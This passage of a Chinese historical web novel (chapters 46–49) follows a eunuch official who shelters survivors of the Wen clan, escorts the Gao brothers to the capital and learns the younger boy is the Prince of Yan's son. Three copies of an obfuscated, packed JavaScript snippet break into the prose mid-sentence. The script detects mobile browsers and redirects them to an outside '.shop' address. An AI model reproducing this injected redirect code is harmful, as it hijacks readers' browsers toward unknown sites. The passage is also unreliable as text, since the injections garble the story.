高承翊轻拍着弟弟的头说:“你懂什么!傻子,爹娘那么聪明,怎么生出你这样的小笨蛋。” 小笨蛋冲他吐了吐舌头。 高承翊都舍不得弟弟走路,来时是抱着来的,如今也给抱在了身上。 就连孔详都忍不住说:“孩子这么大了,自己能走。” 还是宋遥看得透彻:“这哪是孩子要抱啊,是他自个儿非得抱着呢。” 高承翊不以为然:“也没几步就到马厩了。” 他们的马拴在港口边的马厩里。 “是啊,没几步路,他自己能走。”孔详道,“小小高,你下来,一个小男子汉,怎么连走路都要大哥抱着?” 孩子不撒手,直往他哥身上钻。 高承翊就笑。 孔详道:“你还笑,弟弟给你惯得不成样子。” 母亲在世时也常这样说。 几人并行,嬉笑着,真有些其乐融融之感,只可惜还没走到马厩,他们就被人拦住了去路。 温寻墨身着一袭黑色织锦暗纹曳撒,头戴红宝石顶大帽,扶着腰上的刀,似笑非笑的看着他们。 孔、宋二人警觉着也要去抽藏在腰后的刀。 温寻墨却松了手,抽出别在前腰上的象牙扇;“天儿太热了,咱家不爱在太阳底下打打杀杀。” 咦?怎么是这个声音? 这个大哥哥,那晚说话的声音,不是这样的。 孔、宋二人也从声音和称谓听出来了,这人虽然看着不像太监,但是个太监。 太监,宫里的,那自然是来找高承翊的。 看似只有他一人,可港口闹市,有多少人是他的人乔装的,就不得而知了。 眼下和他起冲突,讨不着好。 高承翊眼神示意两人不要轻举妄动。 温寻墨给了他们一个知趣的眼神后懒散的转过身,用带着命令的口吻道:“咱家请喝茶,随我走吧。” 46.温氏余孽 高承翊一行人就只得跟在他后边。 这距离不远不近的,也能听到他说话:“那位孔百户说的对,高公子如此宠溺弟弟,是要将二公子宠坏的。” 高濯衡还是死死抱着哥哥。 高承翊这边也是颠了下,抱更紧了些,仿佛怕温寻墨要将孩子抢走。 宋遥瞥了他一眼,人群中也有他们的人,宋遥看这边地势开阔了些,这意思是问他要不要动手。 却听前头的温寻墨又道:“诸位如今只有咱家这里一条生路,劝你们好自为之,莫要多费心机,作茧自缚。” 温寻墨将人引去了一间酒楼的二楼雅座,那厢房内已有一个少年在等着,看上去只比高濯衡大上三四岁。 个子却高了不少,竖着高马尾,眉清目秀的,十分漂亮。 不同于温寻墨,他穿的是粗布衣,见人来后立即站起身,颔首作揖行礼,十分规矩。 反观同样是孩子的高濯衡,还是挂在哥哥身上,一眼都不给旁人。 温知远在靠近太栉国的一个小岛上长大,那时他14岁,第一次踏上故国的陆地。 不再是那座走两天就能逛遍的孤岛,而是正真的城市,集市,平坦的地面,不是海鸟而是数不清的人。 当他看见港口上停的船时,惊得嘴巴都闭不上,他沿着海岸狂奔,像一只未开化的猴子,指着那艘最大的货轮,在温寻墨身边跳着说:“叔叔!叔叔!我就是要造这样的船!不,比它更大!比它更大!我要造这世界上最大,最快的船!” 他一直按着温寻墨教他的做,即使是在小岛上长大,他也不曾荒废学业。 温知远是温寻墨的堂侄,也是他那时最好的学生。 所以当他看到一直挂在哥哥身上的高濯衡,还以为这小孩儿智力有缺陷,可能是腿脚不好,不会走路。 看见人也不说话,大约是个哑巴,一直趴在他哥身上,好像也听不着人说话,人说哑巴必然聋,想来是真的。 又聋又哑又瘸又智障,真可怜。 许久之后他把这事讲给夏辛听,把夏辛气的连翻了十几个白眼。 众人落座后,高承翊也看出这人是真的有事找他商量,先甭管什么事,人都到馆子了,不吃一顿,不是他的作风。 这边上了茶,温寻墨才要开口说事儿,高承翊就一句:“衡儿饿了吗?” 高濯衡一点头,也不看自家哥了,往温寻墨那一瞅,大眼睛忽闪忽闪,小嘴抹了蜜的甜:“大哥哥,衡儿可以吃炒菜吗?” 自出抚州城,他几乎没再吃过炒菜了,刘具的山庄里倒是养了厨子,有一整套的厨具,但炒菜费时费油,高承翊把所有人都拉去种地,修城墙了,包括厨子。 女人们有会做炒菜的,可炒的怎么都不如馆子里的大厨。 且她们也得干活,高承翊给她们分了稍轻一些的活计。如喂养家畜、浇地、洗衣…… 他甚至还打算买上几台织机,组织大家织布。 山庄里的大伙儿,为了能屯够过冬的粮食、衣物、钱财,每日都很忙。故而吃食方面,是能快则快,填饱肚子为主,不甚讲究。 高濯衡虽不喜,他是最挑食,吃的精细的,可也知道不能太任性。夏辛给他炖过几次鱼羹,炒菜他做得不好,高承翊更是没炒过菜,把食物全放锅里,煮熟,就是哥哥厨艺的极限了。 高承翊此前是考虑过孩子要吃的好些的,但苦于实在没那个条件,厨子砌了一天的墙,到了晚上倒头就睡,十头牛都拉不起来。 按他的计划,至少要再等一个丰年,确定存粮不会饿死人后,才能给弟弟开小灶。 目前当哥的只能给娃早晚多添个蛋,把自己的那份肉给弟弟吃。 这会儿挑着好机会,兄弟俩那叫一个心有灵犀,打算狠狠宰这太监一顿,祭一祭腹中馋虫。 温寻墨就吃亏在太要面子,他不是喜欢拐弯抹角的人,孩子想吃就是呗,这水汪汪的眼睛,谁忍心拒绝呢。 温寻墨清了清嗓子,少了些造作的尖锐,他叫来了店家后,微微俯身靠近高濯衡,声音更低了:“点菜吧。” 高濯衡拿过菜单,先递给了温知远。 温知远才从岛上出来,他那岛上没有餐馆儿,点菜这事儿于他甚是新鲜,但叔叔在,又是在客前,他不能太过放肆,就指了两个他一看就知的普通菜色。 接着便轮到了高濯衡,他干这事儿简直就是行家,从菜色问到食材新鲜程度,份量大小,三言两语安排妥帖,把菜单递回时,还顺嘴问了一句众人是否有忌口的。 温知远这才明白,这人不仅不傻,还是个见过世面的。 吃饭时,温寻墨几乎没动筷子,高承翊被他盯的有些发毛,他用手上的筷子,熟练的给高濯衡挑着鱼刺,以尽量自然的口吻问出:“公公是要来带我进京的吗?” 温寻墨挑眉,指了指兄弟二人:“是你们俩。” “既然如此,直接拷了带走,不是爽快?”高承翊道。 温寻墨道:“我知道你手上有将近一千的残兵,还有几百个抚州的难民。” 高濯衡还在吃东西,高承翊和孔、宋二人,都放下了筷子,看着温寻墨。 而温寻墨却看向了高濯衡:“咱家和二公子,见过的。” 高濯衡一点都笑不出来,他夹了一块虾仁,决定能吃的时候,就多吃点。 温寻墨继续道:“刘具的庄子,是一处好地方。昨日我的人说,你们还建了夯土墙。不过…那些墙,扛得住一颗铁炮弹吗?” “燕王最快今日,最迟后日,就会到。”温寻墨继续说着,“如果他知道,有这么块地方,藏着这么多的兵,还有田和粮食,你觉得他去抚州前,会不会顺带去一趟你们的庄子呢?” 高承翊道:“你到底想说什么?” 温寻墨道:“岷江岸边还是好守的,水寇打不过来,靖江还会如往常一样,我可以保下那座庄子,和庄子里所有的人。如此,你随我进京也不用再有牵挂了。” 高承翊道,“我并不认识你,凭什么相信你的话?” 温寻墨道:“除了我,你别无选择。” 高承翊问:“什么条件?” “我喜欢和聪明人说话,只需稍稍对视,就能懂其中奥妙。”温寻墨对高承翊勾起了唇角。 他略微上挑的眼睛,弯了弯:“我有五百多个人…” 宋遥没忍住,一口汤喷了出来。 温知远被他逗乐了,少年噗嗤一声笑了出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215215|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,温寻墨瞪了他一眼,孩子立马收了笑,继续面无表情坐着。 高承翊故意调侃着皱了皱眉:“一开口就是五百个人…你这顿饭,也太贵了点,再加几个菜,衡儿去点菜,想吃什么,上双份儿。” 温寻墨看他反应,觉得他态度松弛,便也垂眸一笑。 原本剑拔弩张的紧张气氛,消散了不少。 温寻墨道:“庄子后山下的水田,再多些人都能养得活。” “我听说权珰们在京城的府邸,都十分豪华,你大可把这些人再安排进你府中伺候你。那刘具给你运去的银两,再买一座山庄都够了。”高家兄弟曾讨论过他,高承翊后来也打听了一些有关他的事,“还是说,你要藏的是海州温家的后人?” 温寻墨点头:“太监身边是藏不了人的。” 京城有无数的眼睛盯着他。 高承翊很好奇,为何会突然多了这么些人:“他们都是温家的旁支、宗室?” “不,姓温的男丁当年全被杀光了,旁支宗室都没放过。”温寻墨道:“如今,只剩下我和远儿两人,那五百人是当年在温家谋生的工匠、账房、水手。他们都因牵连被治了罪,案发时他们还在海上。” 也就是从那时候开始,他们没有再踏足故土。 “远儿是在船上生的,堂嫂因突闻噩耗,难产而亡。堂兄在远儿五岁时,也病故了。”温寻墨道,“他们不敢回来,便移居在一处无名海岛,那岛是当年温氏祖辈游商时发现的无人岛。众人在孤岛上定居,耕地、豢养牲畜。可岛上物产单一,我境况好些后虽不时会送些东西过去,但他们仍不可避免要外出买、换物品。小岛临近太栉国,如今两国交战愈加恶化,那岛已不安全了,我早想将他们迁出,但一直没有合适的机会。” 温寻墨十分有诚意的将原委全数告知,他在利用这次的机会,让那些人摆脱温氏,当抚州难民。 至于温知远,高承翊的小山庄里,挤满了‘当朝罪人’,多他一个不算多。 高承翊思索了片刻:“你既无法安置他们,又如何能护我们山庄周全?” 温寻墨道:“京城和越州不一样。” 温寻墨的手眼监视着百官,百官自然也有耳目,对着他。他当皇帝的眼睛,皇帝自然也会防着他。 他在京城几乎没有隐私,能做出的事,就是做给别人看的。 可越州不同,远离京城,那些眼睛少了很多。所以他今天,才能在此和高承翊对话。 温寻墨继续说着:“地方官的猫腻,比京官可多太多了。天高皇帝远,能动手脚,捞银子的地方,数不胜数。一个拖一个下水,渐渐的,一个县,一个州府,甚至一个省,都有瞒着上头的事。你有我的把柄,我有你的把柄,大家都是一条船上的蚂蚱。” “但我不能以自己的名义购地,这样的动作太大,会被上头发现。只要让他们住进山庄,那这庄子名义上就还是刘具的。我不会将你曾带着残兵躲在山庄的事告诉任何人。刘具背靠市舶司,有主的地方,燕王不会来占。”温寻墨道,“我的那些人,当年是以失踪结案的,十四年了,世人皆以为他们早死在了海上。我也怜你护民之心,我有上命,必须带走你和你弟弟,其他人,我愿意帮你保全。” 47.你是懂用兵的 高承翊依旧不语。 温寻墨道:“其实你没有什么好考虑的,现在除了我,你没有别的选择。当然,我也一样。毕竟我不能把他们交给那些与我以利相合的官员。” 人命与人命的盟约,的确只有高承翊最靠得住。 “除非我们俩都能眼睁睁的,看着他们所有人无容身之地,无果腹之食,饿死街头。” 温寻墨这话说完,孔详的脸色也暗了下去。 没了庄子,没了地,他们那些人,只能各自分散找生路,男人们大多数会被抓去充兵打仗,战场上生死有命,他们想跟着高琰、高承翊,把家乡打回来,而不是跟着不信任的人送命。 女人们要么要饭,要么继续做皮肉生意。 已过了一个月的安稳日子了,每日砌墙种地,大家苦是苦了点,但有田地耕种,有瓦片遮身,都是有盼头的。 不过孔详也知道,这所谓的盼头,风雨飘摇。那块风水宝地,他们没有靠山,没有足够的兵力是保不下来的。 土匪寨子富一点儿,官府都得去剿匪。 真能安心当土匪的,要么是在深山老林,靠着十天半个月才能劫来的一点钱财、吃食当野人猴子。要么是和地方官府勾结,银子送足了,有人撑腰,才能干拦路收银的活计。 比如刘具,没有市舶司的汪簇,他开不了赌场。 孔详问:“燕王来了,抚州能打回来吗?” 温寻墨喝了一口茶:“抚州城那边,开始不算大事儿,可恰恰因此,出了大乱子。” “一城沦陷,不算大事?”高承翊道,“只有皇帝儿子死了,才是大乱子?” 温寻墨赞许的点头:“你还算头脑清晰,对形势看的很清楚。陛下富有四海,我大渊疆土广阔,半个省的得失和国储的性命,于皇帝于朝廷而言,自然是国储更重要。” 高承翊道:“半个省,四个州县而已。儿子…呵,他不是还有儿子嘛,燕王。” 温寻墨笑了笑:“燕王是燕王,东宫是东宫。太子亲征,自是有要将抚州好好收回来的打算,且对此事成竹在胸,若真是龙潭虎穴,满朝文武和当今圣上又怎舍得让国储上战场呢?他是皇子,他的性命关乎国祚,甚至会决定整个大渊将来数十载的兴亡。” 这说法自开始就有,民间也有流传,水寇好打,抚州沦陷是意外,太子来前线转一圈,将领们打赢后,他可顶个头功回去。 此功绩可稳固其地位,往后登基也是陛下骁勇善战的美谈。 故而,自高承翊听到了太子亲征这件事开始,又有他被太子所派太监喂药之事佐证,他便怀疑,抚州被敌袭的事,是太子和周季修两人的监守自盗。 攻城的火炮,连弩,投石机,甚至还有那数百桶的猛火油,都不是突袭就能带上的。骑兵轻装,急速行军,攻敌不备是突袭。 知道地形,深山隐蔽,突然出现,还知道趁着总督不在,攻城器具一应俱全,盯着最薄弱的城门,那就是准备良久。 地形图,布防图,高琰在京城的消息,是谁给的? 是谁教他们躲进的大岳山?躲了多久,才能将那么多的东西,自海上运进山里,藏在城门周围? 这么大的动静,是没人发现,还是发现了,却视而不见? 周季修不可能一个人干这事儿,他要前程,要富贵荣华,要封妻荫子。 可当让他那么干的是太子,就不同了。他可以立马放弃高琰这条船,去和太子同舟共济。 当一国储君,要用战功才能坐稳诸君之位时,说明出现了一个对他的国储地位,有很大威胁的人——燕王。 他们两人本就在争夺抚州的港口。或许皇帝的心也在这两人中间徘徊。 太子先出手了,他不想让燕王拿走抚州的港口,更不满和燕王一党的高琰。 如果江山都不再是他的,那要江南何用? 高承翊在被宋遥救出军营大牢时,就想通了这点,他知道父亲的污名是洗不干净的,他们全家都完了,所以才让宋遥别跟着他。 他当时就想去把弟弟母亲找来,去笠安的深山里躲一辈子。 国土轻易沦陷,是因有人通敌,但绝不能是太子通敌,如此皇家颜面何存? 光盛帝就知道,这场浩劫,是他的两个儿子在斗法。 所以只能是高琰通敌。 他们被这个自以为是的计谋,圈在里头杀。 而今,设下此计的人——太子,死了。 他的计谋没有得逞,抚州还没打回来。他像个笑话,打散了自己的部队,还丢掉了自己的小命。 当然,太子这样做开始必定是瞒着皇帝的,可事发后,皇帝只需稍微查一查,便会知道太子的意图和其中猫腻,他被架着没了办法。 又觉得这既是太子的计划,他必定能稳回局势,便顺势关押了高琰,让太子去亲征抚州。等他把这件事办好,圆回来,抚州城是他打下来的,港口自然也交给他。 这是太子的一记杀着。 待到那时,无论是港口、抚州,还是这天下,都跟燕王没关系了。 可皇帝把儿子陪进去了,半个省也没了。 如何跟满朝文武和天下人交代呢? 反正高琰已经当了替罪羊,不如罪加一等,再把他的儿子,抓回来吧。 孔详是不知其中含义,只能理解字面之意的,便问道:“胸有成竹又怎么会败?太子到底是怎么死的,你知道吗?” “自古失败唯有两因,一曰自大,一曰轻敌。”温寻墨敲着扇子,看不出什么情绪。 高承翊想,太子必定是许了什么好处给太栉国,让他们陪他演一场戏,结果戏不仅演大了,还演砸了。 引贼入室,贼不走了。 温寻墨:“至于他是怎么死的,恕我无可奉告。” 孔详道:“那这燕王来,能把抚州打回来吗?” 温寻墨问:“你还想带着人,投入燕王麾下,打回抚州?” 孔详不语,可他们那些人,谁不是日日夜夜思念着故土? 温寻墨看向高承翊:“我不能枉议朝政,大公子高见呢?说起燕王殿下,他和你父亲,倒是颇有渊源。”他说这话时,看向了正在喝汤的高濯衡。 高承翊对他看高濯衡这事没多大反应。 温寻墨当即明白:这位大公子,是真的什么都不知道。 上命让他押送高承翊回京,却说要护送小公子。对小公子需妥善照料,且要在燕王入越州前,离开越州。不可让燕王与小公子见面。 圣谕就叫他‘小公子’。 “岷江边的驻防,是他下令的吧。”高承翊道,“既然要打,骑兵急攻,水军绕后断其辎重补给,两面夹击,佐以火炮猛攻城墙,那抚州城只是岸上孤岛,最多一月就可拿下。为何分兵驻防?把水寇赶回海上,需要驻防的地方是海岸线,不是本就在内陆的岷江。” “你是懂用兵的。”温寻墨道,“可你不懂如何当帝王。” 高濯衡不知何时已经停下了吃饭的手,坐在一旁,仔细的听他们的对话。 “什么意思?”高承翊问。 回答他的,是他十岁的弟弟:“皇帝会给太子十万兵,但不会给燕王那么多。” 温寻墨赞许的看着高濯衡:“嗯,好聪明。” 高濯衡道:“我想,抚州应是打不回来了。” 孔详和宋遥都不解:“为何?” “在岷江边驻防的意思就是,不打了。”高濯衡道,“兔死狗烹,父亲才击败水寇,晏江的兵就被调走了一半。这位燕王若真的把抚州打回来,赢得了民心,军心,就算他是个本分的人,皇帝都会怕他。” 一个本就对皇位有觊觎的皇子,带着兵马,收回了太子都无法收回的失地,他手握重兵,赢得民心,又掌握了抚州港口,接下来,会干什么? 那当今还能是当今吗? 太上皇只是听起来好听,自古天家父子,都是要提防着彼此的。 高濯衡的话没有说全,或许这太子之死,就是燕王的手笔。 此招虽险,可太子死了,燕王是唯一的受益者。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217106|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高濯衡能想到,皇帝也能想到,又如何能给这样一个虎视眈眈的儿子,太多的兵权呢? 不过于燕王而言,谋反不是简单的,这件事意味着,只有成功和死两条路可选。 要去对抗一路的关隘,城门,并背负造反骂名。 他本就是皇子,太子已经死了,他并非没有机会继承大统,冒险是走投无路的无奈之举。 他如今还有荣华富贵可享,有娇妻美妾成群,贸然造反很不划算。 稳妥的做法,就是乖乖的守着江岸,不让皇帝猜忌,他可再多积攒几年,无论是兵力、钱粮,还有百官的言论的风向,他都可以等。 若确定了真轮不上他,再一举收复抚州,得两江民心,以清君侧之名,举兵北上也不迟。还能落两滴泪,控诉父皇年迈被奸臣诓骗,多年不给他兵力,收复失地。 什么,你说那半个省呢? 就不要了吗? 只是半个省而已,只是几只水猴子而已。况且,这抚州是太子拱手送出的,关他什么事? 圣心难测,他若真傻傻的去打了胜仗,结果便是:表面上拿些赏银,实则被亲生父亲死死提防,被迫交出兵权,滚回去坐冷板凳。 或许在冷板凳上能等来父皇死后的皇位,但哪有权力拿在自己手上,来的舒坦。 得不偿失,他多年耕耘,可能会因此白费,就像如今在诏狱中的高琰一样。 而皇帝呢,温寻墨说的对,大渊疆土广阔,有没有抚州他都是皇帝,这是一时的得失,往后他若有更好,更忠诚的人选,自会派那人去收回失地。 归根结底,他们都是要保住自己的权力,没人把抚州当回事。 盛世时,富贵温柔乡和百舸争渡的港口是锦上添花。如今,把中枢的权利,死死握在手中,才是坐稳皇位,保全自身的方法。 高濯衡想到这里,起了一身的鸡皮疙瘩。 高承翊轻抚了高濯衡的额发,是他聊胜于无的安慰。 宋遥这才明白,当时高承翊说的,高琰忠了不义之人是什么意思。 当一个天子和他儿子,还有那满朝文武,只看着他们手上的权力,不顾百姓死活的时候,气数也该尽了。 菜凉了,他们三个的心也是凉的。 温寻墨道:“往好处想吧,或许陛下会再用回你们父子二人。” 高家两兄弟只当他是随口安慰,这种不符合逻辑奇怪的话,怎么可能是真的。也没去想为什么是父子二人,不是父子三人? 可温寻墨还真是认真的,只不过带有一点点的欺骗,非是父子,而仅仅是高承翊一个。 因为杀父用子,是当权者喜欢的掌控权力的方式。 比如他,明明可以让他死,却要让他效忠,让他为皇室所用,又用罪臣之子的身份,永远打压着他。 让他只能干活,不敢多言。 他痛苦,他愤怒,却无济于事,一个太监,揽些权,贪些财,搅动一点点的朝局,若皇帝发话,他也就要交出钱财,引颈受戮了。 哦,不是。 太监不是引颈受戮,太监的死法是——凌迟。 三千多刀,受完后还能有下辈子吗? 一餐饭已经吃到了尾声,温寻墨道:“我的人在山庄,会听从管束,会和山庄中所有人一样,参与劳作。等稳定后,难民和残兵会有重录黄册的机会,我可以帮庄子里所有人,拿到越州的户籍。” 他站起身:“人会陆续到,远儿会安排接应,还请孔百户准备好他们下榻的屋舍。” 原本的佃户们挤在几间破屋,后来高承翊把刘具的大院子分了出去。 现今里头一间一间隔着,住的比较杂乱。 有拖家带口的,就趁着修城墙烧砖头,也烧些砖,圈块平地,砍些木头,搭间自己的屋子。 高承翊看见了,就打算等秋收后,划出几块地,盖些成片的房子,好让他们一家一家分开住。 孔详看向高承翊。 高承翊苦笑一声:“我想,温公公是不打算让我回去了。” 48.放肆 温寻墨寥寥几句话,让孔、宋二人带着温知远回山庄了。 温知远并非一个人,他还带着十几个人,一同去的山庄。当然,还带着温寻墨给他的钱以及粮食。 温寻墨此人老辣又很有分寸,不会让自己的人吃亏,也不去占别人的便宜。 孔详他们走后不久,整间店就被东厂的番子围了起来,有人拿了镣铐来,却只给高承翊一个人戴上。 高濯衡起先拦在哥哥前头,被温寻墨拉着手臂,拽去了一边。 他问:“为什么只铐住我哥?” 温寻墨带着笑意随口道:“没适合你的尺寸,你要是想戴也行,给你拿一副。不过…咱家还是头一次听说讨镣铐戴的。” 他在调侃,却没人笑。高家兄弟笑不出来,番子们训练有素,在他面前,连表情都不敢有,更何况是笑。 高承翊看着弟弟,十分心疼:“温公公,衡儿他还小…” 到了地方,是受刑,是砍头那是之后的事。他才点头收了那五百多人,这一路去京城,他自己另说,总得对他弟弟多照应一些。 温寻墨假装无奈的样子,蹲在高濯衡面前:“瞧你哥哥心疼的,我可不惯着你,自己走吧。” 温寻墨往前带路,高承翊被番子们夹在中间,高濯衡就往里头挤,要去牵哥哥的衣角。 高承翊怕他被人挤着摔了,想去牵着他,手却被镣铐绑在身前不能动弹。 温寻墨看似不在意,却微微站定等了一会儿,待高濯衡靠近他时,牵住了孩子的手。 高濯衡抬头瞧去,只看见那棱角分明的下颌,他突出的喉结上下滚动,嗓子夹得高而尖锐:“怎地?嫌弃就松手。” 一路上进京,还指望着他,不能这么快得罪了,高濯衡这点还是想得通的,他乖乖的牵住了温寻墨。 温寻墨用眼角的余光瞥了他一眼,孩子眨巴着水汪汪的眼睛抬头看他。 啧,是故意在卖乖吧,这种利用自己小孩儿身份,示弱装可怜的小鬼,最讨厌了… 因案子紧急,高承翊不用走着进京,囚车都嫌太慢了,所有的人必须骑快马。 为方便骑马,高承翊脚上的镣铐被解开,但手仍旧绑着,留一段可以牵缰绳的距离。 为防止他逃跑,二十来号人把他夹在中间,给他的马不是最快的。每次上马前,那小队的头子,还会拿着火铳比一比他的头,说些警告他,别逃跑的话。 高濯衡则与温寻墨同乘。 他给孩子戴上笠帽,并找了块宽大的巾子,将高濯衡的口鼻脖颈全包上,只让露两只眼睛。 手有手套,腿有护膝。 虽是夏天,长时间的跑马,风会灌进骨头缝。 这样包着,既能防风也能防晒。 高承翊因关心弟弟,是特别留意的,温寻墨骑马时很有分寸,不俯身压着孩子,还会将孩子虚护在怀中。 颠簸蜿蜒的地段,他便会适当放慢速度,若是孩子脸色有异,他就立即让队伍停下休整,让孩子喝水,缓一缓。 马停下后,高濯衡必定会去粘着哥哥,紧紧的靠着高承翊,等温寻墨说要再出发后,他才会依依不舍的往温寻墨的马走,站在马前,等温寻墨将他托上马背。 夜里或是露宿,或住店,他都会守着哥哥睡。 露宿大家都差不多,高承翊就如此前一样,将弟弟放在身上,给他当床垫。 住店时,高承翊跟太监们睡通铺,温寻墨自己住上房,他特意流露出孩子可以和他住的意思,孩子却假装听不懂,仍是粘着哥哥。 高承翊睡觉时都要戴着镣铐,但温寻墨也没太为难他,睡前晨起,可以解开镣铐洗漱刷牙。 他总是先帮弟弟洗干净,再自己洗漱。 这样走了三日,他们入住朝廷的驿站,需要换一批马。 没想到在新牵来的马里,皂雪赫然站在其中。 马见了高承翊,也不管缰绳了,立起前蹄急得直跺脚,还要拖着绳子往高承翊身边靠。 衡儿和他说过,皂雪是被刘具他们牵进的山庄,可他们找遍了庄子,却怎么都找不着马。 这马和他感情深厚,高承翊伤怀了好一阵子。没想到,是被温寻墨顺走了。 高承翊还没说什么,高濯衡先跳去牵马:“这是我家的马!” 温寻墨抱手站在一旁:“这是刘具送我的。” “他抢了我家的马!”高濯衡道。 温寻墨一点不惯着他:“现在是我的了。” 小孩恶狠狠的看着他。 这是他第一次在温寻墨面前露出这样的表情,温寻墨佯装害怕:“好凶!”又立马笑开了,“可再凶都没用,你没有能力保护好它,所以它现在是我的了。” 最难受的莫过于大哥,马现在是人家的,弟弟也需他人照顾。 夜里孩子抱着他,他也难免会想,等到了京城,就是他此生的终结吧。 他本还想问问那日药丸之事,却总没有单独和温寻墨说话的机会,但一想,反正都要死了,还在乎吃了什么劳什子药丸呢。 不快不慢,走了半个月,到了京城。 随后兄弟俩就被分开,高承翊入了锦衣卫的诏狱,高濯衡还是跟着温寻墨。 看着哥哥离开时,高濯衡没哭。温寻墨牵着他往反方向走。 他不再讨好的叫他大哥哥,直呼其名道:“温寻墨,你要带我去哪里?” “去我的住处。”温寻墨道,“等旨意。” “我哥哥…在牢里,会被打吗?”他说到此处,已经带了哭腔。 温寻墨:“会吧。” 高濯衡拉了拉他的手指,温寻墨低头,看见了不知何时早已泪流满面的孩子。 他说:“你能帮帮我哥哥吗?” 温寻墨摇头。 他问:“你能教教我,应该怎么做吗?” 温寻墨一路上从没有抱过高濯衡,除了骑马,都让他自己走,却在此时弯下腰,用高承翊常用的那个姿势,将孩子抱了起来。 高濯衡是真的没了办法,他难受又无措。 他抱住了这个相处半月,每日同骑,却并不甚熟悉的男人。他长在抚州,从未来过京城,也从未见过京中外祖。 在这个陌生的地方,温寻墨成了他唯一认识的人。 他抱着温寻墨,就像抓住了一根救命稻草。 孩子刻意压制却无法停止的微弱哭声,每一声温寻墨都听得清清楚楚。 他想起了十五岁时的那个夜晚,如果那晚也有个人,能让他这样抱着哭一场该有多好。 温寻墨告诉自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你知道我是谁?”他这是套话,他自己都不知道自己算什么。他不想顶替夏辛的皇孙身份,可他现在又不得不这样做,其一是在情况未明朗前,暴露身世会将他自己,高承翊,甚至是夏辛至于危险中。 其二是,他想利用皇孙的身份,试着破开高承翊的死局。 可他是被直接带进的京城,没见到燕王,皇帝如今也没召见他。 夏辛那长相一看就知,她母亲是番邦女子。这样的血统,是不可能继承大统的。 可他不一样,他是汉人。但燕王不可能分不清孩子是哪个老婆生的,他也不至于忘记燕王请他吃过大餐,还说要带他去京城的事。 高濯衡冷静的判断着温寻墨的话。 「你这样的主子。」 我这样的主子,他说我是主子,既是说明,他知道「高濯衡」是皇嗣。 温寻墨知道高濯衡是皇嗣,代表皇帝知道高濯衡是皇嗣。燕王告诉了他的皇帝父亲,您有一个流落在外的皇孙,养在高琰家里。 那他是否会告诉他的父皇,这孩子是我和一个洋妞儿生的? 高濯衡想,他不会蠢到带去一个毫无番邦特征的皇嗣,说这孩子的娘是洋人。 燕王选择在这样的时期,让皇帝知道有个高濯衡,也必定有他的目的。 49.这点雷声就把你吓着了? 当高濯衡问出「你知道我是谁?」时,温寻墨着实愣了一下。 才恍然自己竟然在一个十岁的孩子面前,露出了破绽,还被他套走了话。 于是他笑问:“你知道你是谁?” 高濯衡不再犹豫,斩钉截铁道:“我是燕王之子。” 温寻墨猜测过,可能是燕王,可孩子的长相,又很像是光盛帝亲生的。 五官只有三分相似,可有时下意识的小动作,垂眸思索时的样子,还有喜欢用心机的处事方式,都很像。 嗯,仇人家的小孩儿,难道自己不该讨厌他吗? 可关孩子什么事,他选不了出生,他甚至十岁了,还没在皇城里住过一天。 “你说是就是?”温寻墨故意套话。 高濯衡掀开衣角,露出了右腹。 温寻墨见过的,孩子杀刘具时,他就在屋顶。 温寻墨问:“为何高承翊不知道?” “所以我才问你,当年是什么支撑你活下来。”高濯衡放下衣角,整理好了衣襟,“家已经散了,若千辛万苦护着的弟弟,都不是亲生的,他该怎么办?” 温寻墨的眼神柔软了下来,他是赞同这个说法的,一路上哥哥对弟弟的爱护,千真万确,他能看得出来,高承翊愿意跟他进京,是因为不能在弟弟面前寻死。 高濯衡把赵蓉临死前与她讲述的关于夏辛的身世,告诉了温寻墨。 其实很简单,就是高家帮燕王养了一个私生子。 皇嗣是不看重生母身份的,位高权重的后妃,反而会被提防,警惕外戚势力。 关于那女子可能有番邦血统的事,高濯衡当然没提,连赵蓉都没见过那个女人,不能确定。 毕竟汉人长得像洋人的,也不是没有。 “父母起初并未告诉我和大哥,我也是母亲去世前,才知道的这回事。”高濯衡道,“我不明白,为什么要将我养在外头…现在,又为什么要将我带回京城。” 温寻墨耐心听完,对他说:“燕王妃是皇后的侄女,家世显赫,是开国功臣之后。王府中,时至今日,除嫡出的三王子和一个庶出的六王子外,其余男孩,都没活过八岁。” 孩子被惊得瞪大了眼睛。 温寻墨道:“是风水不好,前几年总做法事。” 若说风水,一开始就该只说风水,特意先提了王妃,高濯衡当然听懂了他的话意。 “开国功臣?” 温寻墨道:“皇后是涸东王之女。” 大渊太祖是平民出身,举义起兵,马上打下的天下。前朝余孽都清干净了,故而大渊朝没有明面上的氏族大家,但早年封下去的藩王、公侯,还有不少。 此后为防止那些人做大割据,每任新皇登基,总要有针对削弱藩王、公侯的举措。 但涸东是个例外。 